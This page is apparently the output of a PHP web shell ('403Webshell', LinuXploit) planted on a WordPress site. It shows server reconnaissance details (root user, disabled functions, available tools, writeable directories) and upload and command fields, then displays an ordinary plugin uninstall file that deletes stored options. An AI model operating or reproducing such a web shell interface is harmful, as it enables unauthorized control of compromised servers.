403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/social-media-auto-publish/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/social-media-auto-publish/admin/destruction.php
<?php
if( !defined('ABSPATH') ){ exit();}
function smap_free_network_destroy($networkwide) {
	global $wpdb;

	if (function_exists('is_multisite') && is_multisite()) {
		// check if it is a network activation - if so, run the activation function for each blog id
		if ($networkwide) {
			$old_blog = $wpdb->blogid;
			// Get all blog ids
			$blogids = $wpdb->get_col("SELECT blog_id FROM $wpdb->blogs");
			foreach ($blogids as $blog_id) {
				switch_to_blog($blog_id);
				smap_free_destroy();
			}
			switch_to_blog($old_blog);
			return;
		}
	}
	smap_free_destroy();
}

function smap_free_destroy()
{
	global $wpdb;
	
	if(get_option('xyz_credit_link')=="smap")
	{
		update_option("xyz_credit_link", '0');
	}
	delete_option('xyz_smap_application_name');
	delete_option('xyz_smap_application_id');
	delete_option('xyz_smap_application_secret');
	//delete_option('xyz_smap_fb_id');
	delete_option('xyz_smap_message');
	delete_option('xyz_smap_po_method');
	delete_option('xyz_smap_post_permission');
	delete_option('xyz_smap_current_appln_token');
	delete_option('xyz_smap_af');
	delete_option('xyz_smap_pages_ids');
	
		
	delete_option('xyz_smap_twconsumer_secret');
	delete_option('xyz_smap_twconsumer_id');
	delete_option('xyz_smap_tw_id');
	delete_option('xyz_smap_current_twappln_token');
	delete_option('xyz_smap_twpost_permission');
	delete_option('xyz_smap_twpost_image_permission');
	delete_option('xyz_smap_twaccestok_secret');
	delete_option('xyz_smap_twmessage');
	delete_option('xyz_smap_twtr_char_limit');
	
	delete_option('xyz_smap_application_lnarray');
	delete_option('xyz_smap_ln_shareprivate');
	delete_option('xyz_smap_ln_sharingmethod');
	delete_option('xyz_smap_lnapikey');
	delete_option('xyz_smap_lnapisecret');
// 	delete_option('xyz_smap_lnoauth_verifier');
// 	delete_option('xyz_smap_lnoauth_token');
// 	delete_option('xyz_smap_lnoauth_secret');
	delete_option('xyz_smap_lnpost_permission');
	delete_option('xyz_smap_lnaf');
	delete_option('xyz_smap_lnmessage');
	delete_option('xyz_smap_std_future_to_publish');
	delete_option('xyz_smap_std_apply_filters');
	delete_option('xyz_smap_free_version');
	
	delete_option('xyz_smap_include_pages');
	delete_option('xyz_smap_include_posts');
	delete_option('xyz_smap_include_categories');
	delete_option('xyz_smap_include_customposttypes');
	delete_option('xyz_smap_peer_verification');
	delete_option('xyz_smap_fbap_post_logs');
	delete_option('xyz_smap_lnap_post_logs');
	delete_option('xyz_smap_twap_post_logs');
	delete_option('xyz_smap_premium_version_ads');
	delete_option('xyz_smap_default_selection_edit');
// 	delete_option('xyz_smap_utf_decode_enable');
	delete_option('xyz_smap_dnt_shw_notice');
	delete_option('smap_installed_date');
	delete_option('xyz_smap_credit_dismiss');
	delete_option('xyz_smap_ln_company_ids');
	delete_option('xyz_smap_lnshare_to_profile');
	delete_option('xyz_smap_page_names');
	delete_option('xyz_smap_app_sel_mode');
	delete_option('xyz_smap_xyzscripts_hash_val');
	delete_option('xyz_smap_xyzscripts_user_id');
	delete_option('xyz_smap_secret_key');
	delete_option('xyz_smap_smapsoln_userid');
	delete_option('xyz_smap_lnpost_method');
	delete_option('xyz_smap_lnappscoped_userid');
}

register_uninstall_hook(XYZ_SMAP_PLUGIN_FILE,'smap_free_network_destroy');

?>

Youez - 2016 - github.com/yon3zu
LinuXploit